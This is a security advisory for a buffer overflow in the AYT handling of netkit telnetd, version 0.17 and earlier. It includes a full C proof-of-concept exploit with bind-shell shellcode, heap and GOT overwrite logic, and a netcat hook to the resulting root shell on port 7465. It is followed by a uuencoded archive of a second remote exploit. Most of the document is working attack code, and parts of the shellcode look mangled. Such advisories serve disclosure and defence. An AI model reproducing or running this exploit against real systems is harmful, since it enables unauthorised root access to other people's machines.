|
COMMAND telnetd local and remote buffer overflow SYSTEMS AFFECTED netkit <=0.17 in.telnetd PROBLEM \'zen-parse\' found following. telnet-0.17-7 is the default in.telnetd for Redhat 7.0. The version of /usr/sbin/in.telnetd that comes as default on Redhat 7.0, and many other distributions contains an exploitable overflow in the handling of its output, allowing execution of arbitrary commands. The problem is in the handling of the AYT commands, as described in the following advisory: http://oliver.efri.hr/~crv/security/bugs/mUNIXes/telnet16.html If the user has local access to the system, it is possilble to get the program to set arbitrary environment variables in the environment of /bin/login, e.g. LD_PRELOAD=/tmp/make-rootshell.so. By filling the heap, in a similar way to the teso exploit, it its possible to set 2 or more environment variables. If the user doesn\'t have local access, it is possible to overwrite the chunk header information for a pointer used by setenv(3), and store a new chunk in a user controllable location, so when the envrionement gets reallocated it will change the value of arbitrary memory locations. You could cause the pointer to set the length of the previous chunk to the distance back from the chunk to a point in netibuf, which itself contains a chunk to set the address of a function in the GOT to point to shellcode, which could also be stored in the network input buffer. Sometimes bad things happen that you have to kludge to fix. e.g. push_clean() in the proof of concept exploit. Sometimes we got some characters from the previous input being sent again, and when that was a command to set an environment variable or something else that changed the environment, it kinda messed with malloc calculations a little. As it is, this exploit will probably not work on your machine, but carefully modifying appropriate values should fix that. #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <fcntl.h> /********************************************************************* Proof of concept netkit-0.17-7 local root exploit. Exploits buffer overflow in the AYT handling of in.telnetd, due to bad logic in the handling of snprintf(), and TESO advisory details were enough to allow me to put controlable addresses in arbitary heap locations. Heap based exploit. Overflow allows rewriting of some heap data, which allowed me to put a new heap structure in the input buffer, which let me do whatever I want. \'traceroute exploit story - By Dvorak, Synnergy Networks\' was very helpful. Also malloc.c was good. *********************************************************************/ /* Notes about exploit 1) RedHat 7.0, exploiting localhost 2) hostname is clarity.local 3) It probably won\'t work without at least a different setting for the --size option, and probably the --name option as well. The --name arguemnt is the hostname part of the string that gets returned by the AYT command, which may be different to the name of the address you are connecting to.. 4) There are a lot of things that use the heap, making the size depend on alot of factors. 5) You will might need to change some (or all) of the offsets. This program does allow you to brute force, if the hostname returned by the AYT command is not a multiple of 3 letters long. It is also possibly (at least according to some quick testing I did) exploitable on some (all?) servers with names that are multiples of three letters long, using the Abort Output command to add 2 characters to the output length, and exploit the heap in a similar manner to this method. (You can only directly put user controlable characters in 2 out of 3 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO will give you 2 more than a multiple of 3 bytes) with controllable characters, but when you count the null added by the netoprintf(), and use 0 as an option to a do or will, you can sometimes create valid chunks that point to locations you can control. I have only tested this method with a simulation, but it seems it would probably work with the telnetd as well. I will look into it when I have time. Maybe.) . . _ _ _ _ . . _ _ _ . . |_ _|_ _|_ _ . / / |/| |_| _| | | ||/| / | | ||_ | | | | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| / | *********************************************************************/ #define SERVER_PORT 23 #define ENV 18628 int offset12[] = { // netibuf[343]->the chunk start. -4, 0xaa, -5, 0xbb, -6, 0xcc, -7, 0x10, -9, 0xdd, -10, 0x68, -12, 0xee, -13, 0x88, -14, 0x99, 0, 0x00 }; int offset3[]={ -1,0x00, 0,0 }; int *offsets=offset12; int dalen = 0; int big; int small; int mipl = 0; int ninbufoffset; char spinchars[] = \"/|\\-\"; char tosend[] = { 0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05, 0xff, 0xfb, 0x23, 0 }; char lamagra_bind_code[] = // the NOPs are my part... to jump over the modified places, // without me having to take a look to see where they are. // Modified to listen on 7465 == TAGS and work thru TELNET protocol. \"x90xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"xebx20x90x90xebx20x90x90xebx20x90x90xebx20x90x90\" \"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90\" \"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90\" \"x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8\" \"x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89\" \"x45xf4x43x66x89x5dxecx66xc7x45xeex1dx29x89x4dxf0\" \"x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd\" \"x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9\" \"xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75\" \"x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08\" \"x8dx55x0cxcdx80xe8xe3\" \"xffxffxffxffxffxff/bin/sh\"; char *shellcode = lamagra_bind_code; int sock; /* fd for socket connection */ FILE *dasock; /* for doing fprint et al */ struct sockaddr_in server; /* the server end of the socket */ struct hostent *hp; /* Return value from gethostbyname() */ char buf[40960]; /* Received data buffer */ char sock_buf[64 * 1024]; /* Received data buffer */ char daenv[10000]; char oldenv[10000]; extern int errno; read_sock () { /* Prepare our buffer for a read and then read. */ bzero (buf, sizeof (buf)); if (read (sock, buf, sizeof (buf)) < 0) if (errno != 11) { perror (\"! Socket read\"); exit (1); } } sock_setup () { int flags; int yes = 1; if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror (\"! Error making the socketn\"); exit (1); } bzero ((char *) &server, sizeof (server)); server.sin_family = AF_INET; if ((hp = gethostbyname (\"localhost\")) == NULL) { fprintf (stderr, \"! localhost unknown??n\"); exit (1); } bcopy (hp->h_addr, &server.sin_addr, hp->h_length); server.sin_port = htons ((u_short) SERVER_PORT); /* Try to connect */ if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0) { perror (\"! Error connectingn\"); exit (1); } dasock = (FILE *) fdopen (sock, \"w+\"); if (!dasock) { perror (\"! Bad fdopen happened\"); exit (1); } /**************************************** Thanks to xphantom for the next 4 lines. (which i don\'t need anymore ;? ) flags = fcntl(sock, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(sock, F_SETFL, flags); if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) { perror(\"setsockopt\"); exit(1); } *****************************************/ setbuffer (dasock, sock_buf, 64 * 1024); } do_iac (char c) { putc (0xff, dasock); putc (c, dasock); } do_ayt () { do_iac (0xf6); // sets buffer length to 2 } doo (char c) { putc (255, dasock); putc (253, dasock); putc (c, dasock); } will (char c) { putc (255, dasock); putc (251, dasock); putc (c, dasock); } wont (char c) { putc (255, dasock); putc (252, dasock); putc (c, dasock); } void solve (int remain) { int x, y; big = -100; small = -100; for (x = 0; x < 120; x++) for (y = 2; y < 80; y++) { if (((y * 3) + (x * dalen)) == remain) { big = x; small = y; return; } } fprintf (stderr, \"I still can\'t work it out.nn\"); exit (1); } push_clean () { int l; for (l = 0; l < 8192; l++) putc (0, dasock); } push_heap_attack () { int l; int shaddr = 0x805c970; int overwrite = 0x08051e78; // fopen int tosend[] = { 0x805670eb, 0x8, shaddr, shaddr, 0x0, 0x0, overwrite - 12, shaddr }; fwrite (shellcode, strlen (shellcode), 1, dasock); for (l = strlen (shellcode); l < 289 + ninbufoffset; l++) putc (0, dasock); fwrite (tosend, 8, 4, dasock); fflush (dasock); } fill2 (int count, char with, int real) { int l; int first, rest, find; first = (int) (count / dalen) - 10; rest = (int) (((count) % dalen) / 3) * 3; find = count - ((first * dalen) + (rest * 3)); solve (find); first += big; rest += small; for (l = 0; l < first; l++) do_ayt (); for (l = 0; l < rest; l++) will (with); if (real == 1) { push_clean (); } } fill (int count, char with) { fprintf (stderr, \" o Length %d char %d (%02x)n\", count, with & 0xff, with & 0xff); fflush (stderr); fill2 (8257, \'z\', 0); // first part fill2 (count - 8257, with, 1); // do it for real } doenv (char *danam, char *daval) { sprintf (daenv, \"%c%c%c%c%c%s%c%s%c%c\", /* IAC SB N-E IS VAR name VAL value IAC SE */ 255, 250, 39, 0, 0, danam, 1, daval, 255, 240); fwrite (daenv, 512, 1, dasock); fflush (dasock); } main (int argc, char *argv[]) { int br, l, dosleep = 0; int percent = 0; char spin; unsigned char w; bzero (oldenv, sizeof (oldenv)); argv++; dalen = strlen (\"clarity.local\"); while (argv[0]) { if (!strcmp (argv[0], \"--pause\")) dosleep = 1; if (!strcmp (argv[0], \"--size\") && argv[1]) { mipl = atoi (argv[1]); argv++; } if (!strcmp (argv[0], \"--name\") && argv[1]) { dalen = strlen (argv[1]); argv++; } argv++; } fprintf (stderr, \" o MiPl of %4d o NameLen of %2dn\", mipl, dalen); if(dalen%3==0) { offsets=offset3; } else { ninbufoffset = mipl % 8192; offsets[11] += 32 * (mipl - ninbufoffset) / 8192; if (offsets[11] > 255) { fprintf (stderr, \" ! MiPl too big.\", mipl, dalen); exit (1); } } sock_setup (); if (dosleep) { system (\"sleep 1;ps aux|grep in.telnetd|grep -v grep\"); sleep (8); } dalen += strlen (\"rn[ : yes]rn\"); fprintf (stderr, \"o Sending IAC WILL NEW-ENVIRONMENT...n\"); fflush (stderr); doo (5); will (39); fflush (dasock); read_sock (); fprintf (stderr, \"o Setting up environment vars...n\"); fflush (stderr); will (1); push_clean (); doenv (\"USER\", \"zen-parse\"); doenv (\"TERM\", \"zen-parse\"); will (39); fflush (dasock); fprintf (stderr, \"o Doing overflows...n\"); fflush (stderr); for (br = 0; (offsets[br] || offsets[br + 1]); br += 2) { fill (mipl + ENV + offsets[br], offsets[br + 1]); fflush (dasock); usleep (100000); read_sock (); } fprintf (stderr, \"o Overflows done...n\"); fflush (stderr); push_clean (); fprintf (stderr, \"o Sending IACs to start login process...n\"); fflush (stderr); wont (24); wont (32); wont (35); fprintf (dasock, \"%s\", tosend); will (1); push_heap_attack (); sleep (1); fprintf (stderr, \"o Attempting to lauch netcat to localhost rootshelln\"); execlp (\"nc\", \"nc\", \"-v\", \"localhost\", \"7465\", 0); fprintf (stderr, \"o If the exploit worked, there should be an open port on 7465.n\"); fprintf (stderr, \" It is a root shell. You should probably close it.n\"); fflush (stderr); sleep (60); exit (0); } /******************************************************************** Thanks to xphantom for the help with getting the some of the socket stuff working properly. Erm. I didn\'t end up using that method, but thanks anyway. ;] This code is Copyright (c) 2001 zen-parse Use and distribution is unlimited, provided the code is not modified. If the code, including any of text is modified, that version may not be redistrubuted. ********************************************************************/ /* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */ /******************************************************************** Remember to visit Chapel of Stilled Voices: _ _ _ . . |_ _|_ _|_ _ . / /. . _ _| _ _ . . / | _ |_ | | | | | | |_|. / / |/| |_| _|.|_ |_||/| / |_ |_| _| / - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - - | | If there is anything below the next line someone is not following the rules. --zen-parse ************************************END*****************************/ Update (28 February 2002) ====== Another local & remote exploit (uuencoded) : begin 644 sortelnetd.tgz M\'XL(`(@#>#P``^P[:7/;1K+Y2OZ*B;;B@!(E@=1EAY8WM$7%K,B22Z2=]=HI M%@@,1:Q``,&APXG>;W]]S``#D+23]YQ]]6I#\'P3GZ.GI[NEK&FF49#((9>;M M?O5G?6Q[WSZR;?BF3_V;GX_V]PYMNW-H=[ZR.YVC[N%7XN!/P\\CXY&GF)$)\\ ME411]JEQG^O_?_I)2_[CHQOON%]\\#;MCVX=K^=^U[8-]XO_!\'OP\\VH/Q>_L= M^RMA?W%,5GS^P_F_N]D4F^)&)O<B<!92@`3L^K\'P%W$@%S+,G,R/PIV=\'1%& M(G5\"/[L7[ERZUZF`>3AUFL]F,A$1@)@%T6TJG\"\"@7R*;2Q$\'CBMQ&$Z7O^0R M=\"4#\\,,KU9[(*/%D8C9DB1.F\"S]-87\'5&$;9G(?PW]UF\\V]^Z`:Y)\\73//33 MS-N9/S/:TOMT-[N/9;K<G$;NM<Q6#/<7LMJZW`)\'Q8=_NWZXICVF=D_.X*>8 M3$[[;R\\N)\\]\')RO&XG&K`\'&2V-G%KAINF>=\'2TV!/\\6V8JU7XS>-SG[7;NPB MP3+A1F\'J,V%%X(?7P.![8,M<)E*DD8CS3/B9`)Y!HP63M[NV6,!Q$%,I//]& M3._%XQ82V@]A)\"\\\\`=DX%G:OV81%H%TFH1.(V$%ZBC1+<C?+`3Q,*K#J_V/R MNO_BQ\\%8/(\'CW<P!J:M0>B`%<.YXYOMRT,^]VHA-S\\F<7I-A\"UA^TX_G7E*T M``WAI]CD;T`,,8,?N/U0NBB^@)B32;T3_H&;0$+9\\`3$VE:CI=<3\'6@J?I*@ MZ<7#B>/!6IY,,R!$K]Z>1GGB2NJAE6A<#%JUQPMS-S>4NPPBX`^<C5ZM\"2C3 M*Y9&B<4U)C[L!OY3^TPC.+)T;F=YR\'N-DRB+TF*S,O3Z[K4%SRW&8NJDOCO! M=FP4;>0B_2=:\"F@B75_>R%2D<Y\"/692(\'$YUZ`&P+*53?>,D?@2-<40B0+H` M3VV>A*E`?@4R5.K!GPD\\0Q$(VS\'0\'!1)$$4Q0H4E$C5HNR-DDD0)/7?UA*;> M!*,,:-T0RBFCFWB3U/\\H^8>:TA*_-AO<V>,\'A8WZY<?E,\\@(_]\"\"!\"!N0)BS M&S4@D#-`6H,F:4DE\"(:7<A=@UY@!$B#YR<Q+@7H-\'#LA$4OT5.O\\S=D9D+;! M?V[G?B\"M#B\':\\&>6B3@U$.BGHM/B8TPPRO7@,TVD@Y(!C]G-3G8#\"+BP%@[I ME8TYM]K4I/^=GDS^.;B\\L!XAOJV>:AH-QA;0U&A4J*0R@#-@I5L=U=L6N!G] M_Z/LIB4$X=H4:SX:VWK[4D.#MKA]+*R2:-M$QU:O&$.8/2`9&XD\'NP/8\'J#. M2J2M!(*V`-C#\"$1-X&98-D\'.B&ZZ<]]N82>P%-1Q+G$>_`6R>Q+DX-;/YJAO MYK`(:$BB/JD>6-@RU%%+*3&U+`W9?N;\'DQOQ];\'8KRU1\'Y0F[D[*Z@-&*\\VB M6E9A1Q(,&)00YL\'FONJL8X]JT$1?Z<H2?VZ`+5A61>MNMGBG6WQB-$D+A8:X MAEDT3RV&L/TLFT]2[&F)WWXS-=W*D1Z-7*8,\'TD\\..78:#;#_?\'6R\',@G0): MR$-#Z*?\"#:(4;9RA\\)E9,W/-6>!<I>*1&+^<7([&ZKR5MH!P`4#24F?`$!F2 MN?7@3H?GXM$C;5>.16<E<)\"1K2U\\TM)L*.*T;;<5H-\\0(EC\"UN_`J,YNU\'6\\ M=7H\"-M=,Z0H^*Y\'84NJ05E(Z4VC.E;*&(\\0V\"P5\\%RJ4A$/->@;*=VG,\\C%L M$DG$UK&AHO6`L@6VJ2=U8=)#4UG2I&(.:MM$E_1WV(ABE28I.\\T^&R58383- ME*Y)JUGC09,U\"8\\D-5@,4*V]52I?6\"6!#=.6:@76UHB\"=@5\\M@EN?663XCBH M:PXJM+XQ\",XAJSNED9&T\"[EPXWN+Z(7CVFIP2]-$>0]I2SRU:]MO+C\'K@=V\' M:>X\'GG#P/(2>`[)0T:$WD>^)A7,MA_%++[\'8SH;,DR7E:NI6P!4L+<LB\')>N MS3;5U(,P]Z!G-MU`RWZE!5TC/I$5H8:V>0;NLJ6.0-GI>T7?X>%AM0]4TQ*P M+$,T.MW\'E59TFH>O7U]>C\"\\FXQ>O*WUIOF!O%`_S-3C4,L!X\"\\]QQ4S`(,/! M-/J\\%\'V-PBE]6,V%JBTHV#!VB0_%\"4KGJ+1)NQ%3/F$RF#5;S`G%\'NXU^%.W M#P4U#1N!(^O6H1A7V)S:*/\"8U9@`Y/276B^J%MT+S[5>9MQ!M?&NJYBYI.6/ MF1[5KEN_E!I#1U0\'Y8D.EY@KXXOQN\']V]DY<@C0,3I`3-<I#+`\'!-8A$G26; M<9:P\'@NG]YDD[@CP@*X@\\@6><A21+]#5RB<\\)?(\\\'-HSQ^D^B*\\A[@/$A-`\" M\"(^DJH3%*X#R4Y[=K\\I=PY&@L!$5M&7<J`:#Z];EI@<$\"C9:@R&36(&C$-.K MXF<3+--$6ZE\'>D0+AFP:\';!PKXJ+L4>U,F_\'PJ]GL(/#%A@W^O5(V\'<S^+1Z MS6*Z,0Q;F2HP_;\\4*96.L[BCA:<+V#@X/Q$7I\\3$X?D/XI@8R0$9!`/HFU`` M2GD2@*_/F^L$;AZ`F8%#]T)U6G3*U-F*4YE[T40=4VC7OD(A\"T8<B1ZB3%$J M5XZB<_.),432CS*)UG92).E&P:H!+$3*1H-`S)?\"K2JL;!&_[W1_7FK?)(Z\" MGOBLS[%?.YJ%U#8;`&.5LZ,&=[JT@+)U@$@;3U*GVZ*(;@K:(8])VP*@N:\'H M*LS0L@=#MI]5&6#J9>6XJW$F\"T3=N>\\U&CP*>:`T#_[45%^R&-AIFBI-L2VQ M2M<2=;0RL9:4\"6VG#78*U/>6:?45F;`72:7)!!X*Y?10SA]4\\D?.9K[KRS#C MY,#<S[)[,^\\PF27.%>80I6?&[6HU_E$:&C4KTQ:U#,#7R=0F\\QU#13W!2:OS MD5JOQF]P8W0X`4^!6%%^9,DQ4Z$W3%`>/`,H(FL%7OG?/`=Q^)J1(.]*TT_; M1A(V15R<4KH^FN)+#H6RCT\"+9\\_V(\"`8OIZ\\.A4Z!D,D:*7Z-#XW:EH1QRL4 MCQ6*XE<DQ,Q/4IU/,)P`9D:O\"GR%R*G89*4V^\\1L/1,#^%*E*#<SBP0F(50H M+TA`[\'9Q&\'7^BZP#)L#:`EWE:%8?`%W@-W]]3%YEN4HM`T\"\"MD6#0+5TE?.U M70_WBYP$C-O&4[9Z&/QE451<1^C`^M)1+WA6^MY-PU=\'QWE%:N[SYX5/!=.X M4`?[=A&;<#@&\\HSQ:9G!+02^?DK3-BVD%GFJ`@8S\\@#>R2\"5!*`NRFMD:;V< M``9?&UCI$[=]3+0S!$0L20C:=\",E_7>(VKY#/?CG2@YN\'_U.,VBM,5*\'IR87 MUX:G96QJ\\+4>BN(@8.KO\"$5U\'\"J,[B(*K2JF?;M-:!0)LV:CDH\\@S(I,1!4K M\"C6!#*4+*$2SNIXF1)E]%KP[-6HY]\\$+&014V1Q-PR5N\"C:C3+XBA#30[-2( MI$P`^V?%U04/1P.&26UG&DBV#8I<+#$K1&6SI=8GV:?4;M6^HUL`XW92=3M0 MN@9JI(IRE-K60W6DPX*F;RGH?BX!+*.%&([.18\\\\S@9\'.;;:VPC=TM&[<PX= M9]8RD:&S.-9UROPP&--D8`2XNRD<4LRI^=FWJ0CE7:;.\'02F$00;$E2`G]%5 MWRS\'RT!PH11.2]F.2HJC8]MM6V<3*B*\\)L,&C+08\\S(U9JA2%%Q*\"&OSCLQ% MLB`J2D85F9#0@56-(#$VP,4_F^O0N3P<7#GOL&X.Q#@=G@.A_!!B+,<3T4R` M@84&-_^(&-V+6Q](-47#*V^!:GRO5(@Z9?G*0U)1`6M1L4VO!E.\':]E>R2NN MY#\\!NH*SH>\'4N;B2B2OLPZ=XB)+UFTJ8KN\"AP2WZKO%D\"6N89:1\'\"Z8T\"G-* M:IAN>BV^^P&#T58ZV(]9<7#*6KN?Y#<:]YPTA6+DTA19[/`3V->GD^\'Y8-P> M7;SX<7+9_ZEM>.RM57)4M6D9@HGB#$@ZNCB;#%_#_,G+D\\OA^8NS]B/&5]DJ M^M%JK:2\"F6T_%GR]V*B\')!0-2`Y\'`%JK)TCI:ZU=W+\'4/Z4=;#[\\7]<J_/7Y M\\I_E^I_Y%U_CT_4_MGW4[7+]CWW0Z7:/J/ZGV_FK_N??\\0&]\'^?3P\'?K%03J M:OY?6!!\"[H!4EBQ*KD7@7]//,KT<A3+%M\'7O1)?GB/^Y*]?[`K<\\O?^=*]Y; M:9VY[B6*99B\".W:K[(!P*\"T.J-]P[IZT-5Y-WDH\'J)0(B%UTY0YHY)T=I\"SI M:QB#J7U\\IFJ)6+?`DR;D\'[)EO>8?XW_M_//C%ZX!_/3YWSL\\[!P6]9_[!WC^ M]_?LO\\[_O^7#]7^)7$3@5,J[.(A4S4_@A_F=4`(A[)W.$1:$@8Q,,0[\'K[OO M[YUY%.VXT:*EM$4?:__P=AZD&/Z\"URA1-8B/,MR.G225X!-/\\ZLL<7X!<4TS M/\"QI)-Q$>C[6%D5B[B]H>0PM*)$^EQ\'$/EJMX\")CC-\\\\Z>`*,`,.07C%VF@! MLR)WXL[S\\-JH1D-XV\"W#&S\\!;\'2D)ZP<\\<-M8?XCO,%MH%\\&C^C5IUA@@A!Q M\"VKR#I/+X4C#C3P&[\\G,\\0/2@`YL_5O8!$\"&J(CK,)`>>@O@`0]\'XD7_7#P? MB).+\\X$`G[LO7EU<#L3@]\'3X8C@X\'XN?^N\\06/]L=\"%>7HS&Y_U7`_\'JS6@L MSB_&.//5F[/Q\\/79`\"\\B]L3S=^/!\"($/1?^5&+T!6.8RI\\-_#$[$^$+\\=\'\'Y MHSB]N!3]\\W<E7*M_(0CU`)@!4:@+I`3N(\"M]TE\'VMZG26K>P:2>DF`<)L`&* M&S8:YD&P@</3,$Y`%\\TP2J28!RN^()APY_SSRK^16$ZVB(`O(`&I/_4#/_-E M6O)W^.KUQ>6X?S[^CJ2`DE1NXL16B\\L3G21!*\'Z(1J>(2TF09OX=L\")P[B%H MY?(U*Z-Z1]C#+[F/D;X((MH8R\"#FKUN\"ZTLS^1VS:2$=4.Y@`V/0V\\/70J?\' MJ!`6+X(\\K,K2M;(BC0\']#$-E$\".^O?U.+-*TM4.``0/:-UE-JH<$(\"!13C!\' M`EMS_VHN%EG>(OIG(.E(U>T$;`RMA[*E#B=.(`&;YEBB>>LD$DT-AIF4\'H!S M=26]@HRX^E4B9?;QN\\95\'G[TX^_]Q(7#+\"Q]\'N\"W<.^G$L[E\'=.AT?@;6/-K MZ(CB[_/0P_W`A`46!\\/&(<1OK:B^+6M1/U.1NZ*,]4L4Z:XKR5U;38LEL;4V M\\`J<H-*VH?WA#15/7@[@:+X=3$X&9_UW=\'_<X&3Z\'4D.LL:3X!IX*3\'9N0+\" M.>`GI:B#6`PY#2!)<$F)H)\"A@%.=+?D6>0(BYV-,#RW*5:KHM5^+*+)RWQ=S MYFWUC6&E:Q70S1D63*[LF5[WF@_+%7SUCXJY>V4]\\O,WIZ/A/P?B<>=)MU;4 M\"W[7>]7],R6X6!6`2M9UY\"J=M/+&!V;3I`#K4;T(#YFV4VEV#T!ZY87LV_[E ML/_\\;#`\"30#>&):=JPKH>90\'7`,A<G\'MN]?HYA;USLY]ANE=XO`<T%DX<,+H M.MO%FEN\\-@0^10L<\"*Q,XR@$E8B)0IAFX5D-046TMCK=`J0W`10C0\'ZB;`EM MPO/1AP:-2]#4\"+1KVEHYLTP5TY\\.+T\'_*_N$&ZS?U\\H;XG0%;#9WE`[\"_`ZH M7JP9OF6E&.)Z/JY\'B^L5F?%\\PX%IFD)!:FT&$OSZ<O!V.`+NVC;\"F<L[I8+M MNR-H2=6\\[N/#HZXB\'#?M-DMBX-(L9JM)X2M2T*%`1C%F%B$!5OQ>4+C\"V^8C M5)>8\'R[&!!OL%&K]*U#^1:`#MNS6P9`A(K&[3=!`6*!C@N@*+8:#IL[S/2=3 MP&NP%88]P?`37$!C#</+0H%2\"%=``:K#H:\'G=\"Z#`\'V*]S\\?-QL;\'^[D],.= M[6S`,Z99[Z,<3N9&T7/4_7!W(#_<=9]\\N\'/M#W>/X7O_\\,-=!Y[WU6]WKVRW MW;*=?C^&9P^>)3XSW\"GT\'T*?\"^V/$0[,=P]+N!W5CS!P[<X^/#\\NX9FXN%W\\ M9K@T_S\'#?V+`H/;#$@^\"]T3AY)KXU7%CN!H/VML>_ZOO@<:H_>MGW(<>1WO4 M8P\\9KJO@[,W4GIZ48W3[?N?3;4@76O>HI,.1Q@/:9GMJ?U-N0QCVM)PO\'S.^ MLYG^MSOUP]UTOH&7R:*I[N%G$1X#5%*WRL)$4_!&0SHVT6R&=QZE+>&&\"4TK M38E2>;U2W87WV)`*\"N6-4;A`=1BVT*7)0^0C8EK_C_N7/PS&(]&A-S*<Y`K5 M=8D(MR@\\&B3_GDS=Q\"?/YWWWX\'!%N0B<W^5&?0Z7.NAH/>BUWRN$?NXI@XX1 MO+YA08=61_2I^+L`NQ)^BYF/:]!K.X`U\']#$]>/W\'<2,K)W*N>Y#&`M`J<C\' M\\SE9$.OP?-$RZ3RSXN5J^9C>?K`6K=+,XBWK\\CCRK:V-;]*-MCD8RU\"=VQ)N MH\\Q;I.M@-E;TW_F9M=WA>SC:#+M%+T$+!I*+-<-\\P15+RM\'\'XM&V,N7MC1.? MXSV>)[[Q/H0;;9P\"O$\'\"T*VC`1_8\\J*HVK9T.L,DV*KW7^CUEV*`NCB;.0L_ MN`=FJ*1\\;VF$<0NWE`U7]Z<K!AY#>-8_.;F<G$.HALEWWL>&\']XX@8_5K;#\' MUO)JE2+&[A[5?QC\\6G^/,!I?#OJOVK:Z0*C+`\"[?:6^HF:V-)<`ZVY8N75OR M%;@?MC]U`4Y7#&L6U:!I58.\'E\\[M?S@;B^R<W28=T>:7(8B%Q;US)#I8%PEF MO/`[RJR@KBBQP(?*83R$X/>UUS`I_C+U\\9),%&@HN6AHC7&!:HP4W`+<\"W+5 M.,EX++Y1+W>I-\"2VT+$U]]$K(0U!\\<?D,H=H<=\"[!#/C11A2[>PP$8O!I^J^ M4X#C\"G\'J%8X2^\"X8;*:[!U[E+:4=8/F8BN0P#9,H&\"!7*$E65<]5$LI_@HB; MX+684QPQN\'PGGE^^&??/1!_OV5\\.Q^-WRZ6=I\"39QK:6[6N;K&>E%?9M\'`,= MU22^I\\,8W051NX7!!EHLBCJ>BB[:\'7S>VC(7,V>0/T!3Z.FI.%\"/JZ?H3X)U MNV)ODR9MJ6AH$SV$M5/0\"%\'1L-K]9R/&-:^&U>#!R5TFY[I/Y.\\PB3Z)J3%: MD:?*EG4?OBQ=/^YAJ:=L*9^4XD&\'\'@*JXLR@G.&\'Q`GQ83WJDK4UJC(WE\"\\X MW6BKVLQA_X7X:7AVIHM8(4;>HF+LAHJ7W1ZUXJVZDF9.EE[YKI(Q6A1H9JU; M[;\"R6O_=F!;CI;H,EF#$>8;1K;(!&`*W^1&T;\"[707?`QP9_V$;_U]YH\'Y0K MC9Z+\\\\%/VX/SMV(XPCC*6!<+^\"EGH<%1Q-TKNE4LKEH+:G0(^-O^V9N!!@:4 MH0H>`Q;CNP2L:%ZY#[M\"I=\'`1+:KRT5F09[.B0/JU7E-?S/1:13$\\FLNRL-3 MI8O\'Y<56BBX55IENXS=5`I.?IT>N&\\3E%?1^GFK75A&U($YJ;>C]<\\I%X;_A M!M))-F@\'<$`Y2QP\"X]5V.\'\\\\O2]B:DZY.#&&)_)&AF6P3:E7UR4#D,D@<6]8 M2^&;_M>BR-Q2LIBRN6`QP2R4-XQ$-RR@GL2.5Y(-T2*R$7[\'129J6U`Q[+9@ M+[1X:P5Y:+=QL,%Q!E(<&+[1H)QWZ+OE\"]<;I0T`09\\XF6$!5`C@UBV!7^J0 MTG#PE*T.29?N1A7NL_[V07FS?H-GT-Y+RH;.;Z\\^M9Q)2F[U5-8W90$>R-I$ MO09N4-7CTNIJ;1#Z,8M82:0J$#)C@DK65)=]THSBU3;#]!(`%CQC7/7%-7SW M%_@#?3WS!4%\\Y5NC;Z)>>45[[<O>L#E;%3KB01/&JWPF+0Q3;;Y\\7=EDKS;$ M>!6[3O?5Q,0]+KVJK:<LO[!=`BMD[`^]NUV2MH348)ZNX*=M\\D;/5QPTN5=A MTM*^3:ZAOLRB#+B!.8320$$8=/;?[5U[<QI)DO];]2EJY?$:UH\";EX3PC!V, MA3W:DRV?)-_,Q*Y/UT`C]1IHEFXD<3\'WW2]_F57=U;R$\'7NS<1MJ/X3HJJQ7 M5E:^2^?VFGM:647QYAUG2(%0`KLY33\'@^EY&.+@/J?8DU04R;8KO`OJR0&^O MHR3QH?R$9<#7(ZCDH\'_Q\":$L:[[G4\'%NV++\"W?LIY\".BA4\\\'HA\"%8D\'OEPQW M0X6\'?#00SSH0!P;,D2R\"P>:RG%WP*@PGEMZ@W\\CE\\;PJQXUI[]W9);4D3<P\" MXU/*/!73?,M399(0,R0_%(0;R>#\\VNW\\E\'(H9F6N8?TB:L@$NFV,399$LD@0 M&@GGQNILB7*/HD@\\1VP-Z)\"!4WO\\WQ[Q#7_Q/LO/ZF<4\\#S]RR_XG_[N>2WS MR?/V[`?^7$T_&[BBW?[E%ZBFA62GFN6\"Z*J+J<(;\'5NG$<^,:%0`RF,/_IVI MW9/7/)(X],P$BF]NK69$K&0Y7&6\"9$Q&,DIMK(YW_H(5V22@H`FK90?ABI\'[ M!M3\\#GXV2.H2C:\"3IOU0XI/38_L.\'6W(QL$F\\3\"A[3\\T:)IBIEW1BT`,ED;= M3[W(!#=W5ZW8*YX?E*K>PZ6:.Y5JE*I%DX&%%8,RB^)\"9(UA=IZ\\SVUK]G#X M@PG;2%AR)$9&K`_6-&MR%,$\\8\'.4L\"%D&(U@7-HV\'=[.TU\';::#574KM4J9L M(-F9P:JW>?=\'H6@39*[TVN$9IPBJL^/PRCL-KUS?J52CU%JSVOF5MH:<MMC! M([\'-X5O3>1GG6OO5SS]US[OZN*/?G\'VX/#\\[A;1P>09AW;BEKY\\.!OXU<[+3 M#B@?EE*C%!N\'<H-&;[97/\\K668C7+%GH\'K&_;%N6`<DYR0RTF0+>&2F-9;)B 